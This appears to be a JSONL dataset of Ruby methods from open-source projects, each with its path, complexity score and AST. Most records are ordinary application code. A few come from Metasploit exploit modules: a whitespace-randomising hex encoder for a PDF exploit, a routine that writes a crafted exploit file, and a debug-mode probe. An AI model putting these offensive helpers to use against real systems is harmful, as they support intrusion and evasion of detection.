{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/design_management/designs_finder.rb","start_line":44,"raw_source":"def by_filename(items)\n      return items if params[:filenames].nil?\n      return DesignManagement::Design.none if params[:filenames].empty?\n\n      items.with_filename(params[:filenames])\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"by_filename\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filenames\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filenames\"]}]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DesignManagement\"]},\"Design\"]},\"none\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"with_filename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filenames\"]}]}]}]}]}","id":"4c45e590-25f8-4b7e-bb4a-116eb6dc1734"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking/error_repository.rb","start_line":105,"raw_source":"def update_error(id, status:)\n        strategy.update_error(id, status: status)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"kwarg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"update_error\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}","id":"3dedb009-246a-4810-85ff-525ef3ece057"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/memory_store_test.rb","start_line":8,"raw_source":"def lookup_store(options = {})\n    ActiveSupport::Cache.lookup_store(:memory_store, options)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_store\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"lookup_store\",{\"type\":\"sym\",\"children\":[\"memory_store\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"d35feafc-3355-405a-9eac-d8d6e08b88ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/git_refs_finder.rb","start_line":48,"raw_source":"def filter_refs(refs, term)\n    regex_string = RE2::Regexp.escape(term.downcase)\n    regex_string = unescape_regex_operators(regex_string) if regex_search?\n    regex_string = Gitlab::UntrustedRegexp.new(regex_string)\n\n    refs.select { |ref| regex_string.match?(ref.name.downcase) }\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_refs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"refs\"]},{\"type\":\"arg\",\"children\":[\"term\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regex_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RE2\"]},\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term\"]},\"downcase\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"regex_search?\"]},{\"type\":\"lvasgn\",\"children\":[\"regex_string\",{\"type\":\"send\",\"children\":[null,\"unescape_regex_operators\",{\"type\":\"lvar\",\"children\":[\"regex_string\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"regex_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UntrustedRegexp\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"regex_string\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regex_string\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"name\"]},\"downcase\"]}]}]}]}]}","id":"72581837-cda8-4c3c-a337-5b5b9969541c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_jbig2decode.rb","start_line":178,"raw_source":"def ascii_hex_whitespace_encode(str)\n    result = \"\"\n    whitespace = \"\"\n    str.each_byte do |b|\n      result << whitespace << \"%02x\" % b\n      whitespace = \" \" * (rand(3) + 1)\n    end\n    result << \">\"\n  end","complexity_score":15.25,"ast_json":"{\"type\":\"def\",\"children\":[\"ascii_hex_whitespace_encode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"whitespace\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"each_byte\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"whitespace\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02x\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"b\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"whitespace\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[3]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\">\"]}]}]}]}","id":"2525c496-4324-48bf-84eb-7d6ea24c0d8e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/cache.rb","start_line":43,"raw_source":"def accounts_with_stats\n      Account.local.includes(:account_stat)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"accounts_with_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"local\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"account_stat\"]}]}]}","id":"f0f0f8d2-9c3a-4ca0-bb36-48013f92badb"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/contacts_controller.rb","start_line":36,"raw_source":"def identify_contact(contact)\n    contact_identify_action = ContactIdentifyAction.new(\n      contact: contact,\n      params: permitted_params.to_h.deep_symbolize_keys,\n      discard_invalid_attrs: true\n    )\n    @contact = contact_identify_action.perform\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"identify_contact\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contact\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact_identify_action\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContactIdentifyAction\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact\"]},{\"type\":\"lvar\",\"children\":[\"contact\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"to_h\"]},\"deep_symbolize_keys\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"discard_invalid_attrs\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@contact\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact_identify_action\"]},\"perform\"]}]}]}]}","id":"a941f6e1-0bd2-4944-bf2d-41445d1e1bc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/achievements/achievement_type.rb","start_line":59,"raw_source":"def avatar_url\n        object.avatar_url(only_path: false)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"avatar_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"9dc8d71f-d7ab-4b15-aa58-566d07e6c21c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/proshow_load_bof.rb","start_line":75,"raw_source":"def file_create(data)\n    fname = datastore['FILENAME']\n    ltype = \"exploit.fileformat.#{self.shortname}\"\n\n    if !::File.directory?(Msf::Config.local_directory)\n      FileUtils.mkdir_p(Msf::Config.local_directory)\n    end\n\n    path = File.join(Msf::Config.local_directory, fname)\n    full_path = ::File.expand_path(path)\n    File.open(full_path, \"wb\") { |fd| fd.write(data) }\n\n    report_note(:data => { :full_path => full_path.dup }, :type => \"#{ltype}.localpath\")\n\n    print_good \"#{fname} stored at #{full_path}\"\n  end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"file_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ltype\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"exploit.fileformat.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"shortname\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"directory?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"local_directory\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"local_directory\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"local_directory\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"full_path\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]},\"dup\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ltype\"]}]},{\"type\":\"str\",\"children\":[\".localpath\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\" stored at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]}]}]}]}","id":"567e0e20-10e5-498b-a857-d99ab799694c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/multiline_expression_indentation.rb","start_line":206,"raw_source":"def inside_arg_list_parentheses?(node, ancestor)\n        return false unless ancestor.send_type? && ancestor.parenthesized?\n\n        node.source_range.begin_pos > ancestor.loc.begin.begin_pos &&\n          node.source_range.end_pos < ancestor.loc.end.end_pos\n      end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"inside_arg_list_parentheses?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"ancestor\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"send_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"parenthesized?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"begin_pos\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"loc\"]},\"begin\"]},\"begin_pos\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"end_pos\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"loc\"]},\"end\"]},\"end_pos\"]}]}]}]}]}","id":"d1d67d95-9b55-4333-aa11-47d5d18652c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/cloud_seed/google_cloud/create_cloudsql_instance_service.rb","start_line":20,"raw_source":"def create_cloud_instance\n        google_api_client.create_cloudsql_instance(\n          gcp_project_id,\n          instance_name,\n          root_password,\n          database_version,\n          region,\n          tier\n        )\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_cloud_instance\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"google_api_client\"]},\"create_cloudsql_instance\",{\"type\":\"send\",\"children\":[null,\"gcp_project_id\"]},{\"type\":\"send\",\"children\":[null,\"instance_name\"]},{\"type\":\"send\",\"children\":[null,\"root_password\"]},{\"type\":\"send\",\"children\":[null,\"database_version\"]},{\"type\":\"send\",\"children\":[null,\"region\"]},{\"type\":\"send\",\"children\":[null,\"tier\"]}]}]}","id":"4908876c-81d3-414c-a4e1-2669b49e460e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":196,"raw_source":"def date_stat_hash(stat)\n        stat_hash = {}\n        dates = @start_date.downto(@start_date - @days_previous + 1).map { |date|\n          date.strftime(\"%Y-%m-%d\")\n        }\n\n        keys = dates.map { |datestr| \"stat:#{stat}:#{datestr}\" }\n\n        Sidekiq.redis do |conn|\n          conn.mget(keys).each_with_index do |value, idx|\n            stat_hash[dates[idx]] = value ? value.to_i : 0\n          end\n        end\n\n        stat_hash\n      end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"date_stat_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stat_hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"dates\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_date\"]},\"downto\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@start_date\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@days_previous\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dates\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datestr\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stat:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datestr\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"mget\",{\"type\":\"lvar\",\"children\":[\"keys\"]}]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat_hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dates\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"idx\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"stat_hash\"]}]}]}","id":"3a56f5cd-1d8e-4ed3-a9d2-80e61af04e83"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/category_localizations_spec.rb","start_line":29,"raw_source":"def get_category_dropdown(nth)\n    selector = \".category-breadcrumb li:nth-child(#{nth}) .category-drop\"\n    expect(page).to have_css(selector)\n    PageObjects::Components::SelectKit.new(selector)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_category_dropdown\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".category-breadcrumb li:nth-child(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nth\"]}]},{\"type\":\"str\",\"children\":[\") .category-drop\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageObjects\"]},\"Components\"]},\"SelectKit\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]}","id":"70be3df8-65f0-4eca-b5b2-0d1320275710"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/import/placeholder_references/pusher.rb","start_line":85,"raw_source":"def source_user_mapped_to_human?(record, attribute, source_user)\n        source_user.nil? ||\n          (source_user.accepted_status? && record[attribute] == source_user.reassign_to_user_id)\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"source_user_mapped_to_human?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"source_user\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"accepted_status?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"reassign_to_user_id\"]}]}]}]}]}]}","id":"04540fe2-8e6c-4775-9a25-6bc68bd3d0c7"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/app/controllers/rails/conductor/action_mailbox/inbound_emails_controller.rb","start_line":37,"raw_source":"def create_inbound_email(mail)\n        ActionMailbox::InboundEmail.create_and_extract_message_id!(mail.to_s)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_inbound_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mail\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionMailbox\"]},\"InboundEmail\"]},\"create_and_extract_message_id!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},\"to_s\"]}]}]}","id":"270ba17a-aef4-41f6-8f97-af7524e0ffef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/pretalx.rb","start_line":16,"raw_source":"def debug?\n            res = send_request_cgi({\n              'method' => 'GET',\n              'uri' => normalize_uri('orga', 'admin/')\n            })\n\n            raise DebugError unless res&.code == 200\n            res.body&.include?('running in development mode')\n          end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"debug?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"orga\"]},{\"type\":\"str\",\"children\":[\"admin/\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DebugError\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"running in development mode\"]}]}]}]}","id":"db228a63-9766-46ba-8737-fd70ccfa958b"}
{"repo_name":"warden","file_path":"./repos/warden/lib/warden/test/mock.rb","start_line":58,"raw_source":"def initialize(app, _configs={})\n          @app = app\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"optarg\",\"children\":[\"_configs\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"lvar\",\"children\":[\"app\"]}]}]}","id":"fbe0238a-e4df-4ea3-a0e4-7ccd30f58506"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb","start_line":473,"raw_source":"def get_advisory_lock(lock_id) # :nodoc:\n        unless lock_id.is_a?(Integer) && lock_id.bit_length <= 63\n          raise(ArgumentError, \"PostgreSQL requires advisory lock ids to be a signed 64 bit integer\")\n        end\n        query_value(\"SELECT pg_try_advisory_lock(#{lock_id})\")\n      end","complexity_score":7.93,"ast_json":"{\"type\":\"def\",\"children\":[\"get_advisory_lock\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lock_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock_id\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock_id\"]},\"bit_length\"]},\"<=\",{\"type\":\"int\",\"children\":[63]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"PostgreSQL requires advisory lock ids to be a signed 64 bit integer\"]}]}]},{\"type\":\"send\",\"children\":[null,\"query_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT pg_try_advisory_lock(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock_id\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}","id":"debee42e-603b-4e72-95b5-2ac4ef5feafa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/page/logging.rb","start_line":29,"raw_source":"def asset_exists?(url)\n          exists = super\n\n          log(\"asset_exists? #{url} returned #{exists}\")\n\n          exists\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"asset_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exists\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"asset_exists? \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\" returned \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exists\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"exists\"]}]}]}","id":"2d1b61fb-b7da-4e0b-8d7e-da05864912aa"}
